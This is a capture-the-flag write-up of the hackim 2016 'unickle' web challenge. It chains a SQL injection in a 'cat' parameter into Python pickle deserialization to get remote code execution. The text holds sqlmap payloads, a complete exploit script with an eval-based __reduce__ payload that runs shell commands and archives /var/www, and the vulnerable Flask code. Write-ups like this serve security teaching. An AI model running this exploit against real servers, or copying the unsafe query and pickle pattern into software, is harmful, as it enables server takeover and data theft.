unickle
[hackim, 2016]
- Category: web
- Points: 200
- Description:
OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place... One object at a time!!
Write-up
So there isn't much to look at here. It displays some values and you can
restrict the displayed values to a category with the ?cat=X
parameter. After
some fiddling and not getting anywhere I decided to let sqlmap
loose on the
site.
$ python2 sqlmap.py --level=5 --risk=3 --method=get -a \
-u 'http://54.84.124.93/?cat=2' --output-dir=/tmp/unickle/
sqlmap identified the following injection point(s) with a total of 160 HTTP(s) requests:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=2 AND 7804=7804
Type: AND/OR time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: cat=2 AND 9875=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: cat=2 UNION ALL SELECT 'qxvqq'||'HuGRpkqXfbsleivzlVQsmTJGEQszicEaMDqmwMEK'||'qbvzq',NULL,NULL,NULL-- -
---
[...]
Table: db_object
[4 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| tcat_id | INTEGER |
| tid | INTEGER |
| tname | VARCHAR |
| tvalue | VARCHAR |
+---------+---------+
sqlmap didn't do so well on dumping the actual tables, probably because there
were some non-printable characters in there. At this point I was kind of
annoyed and switched to another challenge. Fortunately a fellow LosFuzzys
member didn't want to realy on sqlmap and did the injection by hand, which
yielded better results. One can abuse the SQL injection by using ?cat=4 union select ...
as the parameter. We can get the table schema of the db_object
table. This is the table the objects, which are displayed, are selected from.
Let's look at one row of the database.
id | name | value | cat_id
--------------------------------------------------------------------------------------------
2 | Object 2 | cvulnerableBoxq)q}qXnameqX Magic Boxqsb. | 2
We can see that value has a very strange format and doesn't quite match what we
see as output. So there is apparently some transformation happeing. It turns
out that this is pickled data.
Of course as we know from countless other CTFs, pickle is evil, as it allows
arbitrary code execution as part of the deserialization. So we can use the SQL
injection to get the application to load our input with pickle, which gives us
code execution on the server :) Kindly enough we also get the deserialized
object as string, so we can use subprocess.check_output
to get the output of
arbitrary commands. I used the following script to exploit the sqli/pickle
vulnerabilities. I used several shellcodes. First using a simple computation to
prove we have code execution. Then I searched for the flag using the find
command and read it out using cat
. I also dumped the whole /var/www/
directory just to be sure ;)
from __future__ import print_function
import requests
import sys
import pickle
from urllib import unquote
# test shellcode
#SHELLCODE = "42 + 1"
# fetch the whole webserver dir :)
#SHELLCODE = "str(__import__(\"subprocess\").check_output(\"tar czf /tmp/src.tgz /var/www/; cat /tmp/src.tgz | base64\", shell=True))" # NOQA
# find the flag
#SHELLCODE = "str(__import__(\"subprocess\").check_output(\"find / -name flag\", shell=True))" # NOQA
# read the flag
SHELLCODE = "str(__import__(\"subprocess\").check_output(\"cat /var/www/flag\", shell=True))" # NOQA
class Pwn(object):
def __reduce__(self):
return (eval, (SHELLCODE,))
pwn = Pwn()
sc = pickle.dumps(pwn)
if len(sys.argv) == 2 and sys.argv[1] == "--try":
print("Executing shellcode:")
print("-------")
try:
print(pickle.loads(sc))
except Exception as e:
print("exception", repr(e))
print("\n-------")
print("Sending shellcode:")
print("-------")
print(sc)
print("-------")
sc = sc.replace("'", "\"") # otherwise the sql query doesn't work
sqlipl = "4 union select 1,2,'{}',1337".format(sc)
print("#### sqli payload is")
print(sqlipl)
resp = requests.get("http://54.84.124.93/", params={"cat": sqlipl})
print("#### URL is")
print(resp.url)
print(unquote(resp.url))
print("#### response -", resp.status_code)
#print(resp.text)
# very dirty parsing ;)
print(resp.text.split("\n")[38].replace("\\n", "\n").strip())
The flag was flag{OSaaS_with_union_and_tickle_trend_it_is!}
The whole thing was a flask application and the vulnerable code is this:
@application.route("/", methods=['GET'])
def index():
sql = "SELECT * FROM db_object"
if request.args != [] and request.args.get('cat') != None:
sql = "SELECT * FROM db_object where cat_id="+request.args.get('cat') # SQL injection here
result = db.engine.execute(sql)
objects = []
for row in result:
val = row[2]
if row[2]!= None:
try:
print(row[2])
val = pickle.loads(row[2].encode(encoding='ISO-8859-1')) # pickle deserialization vulnerability here
except Exception as e:
val = e
objects.append([row[0],row[1],val,row[3]])
return render_template('index.html', objects=objects)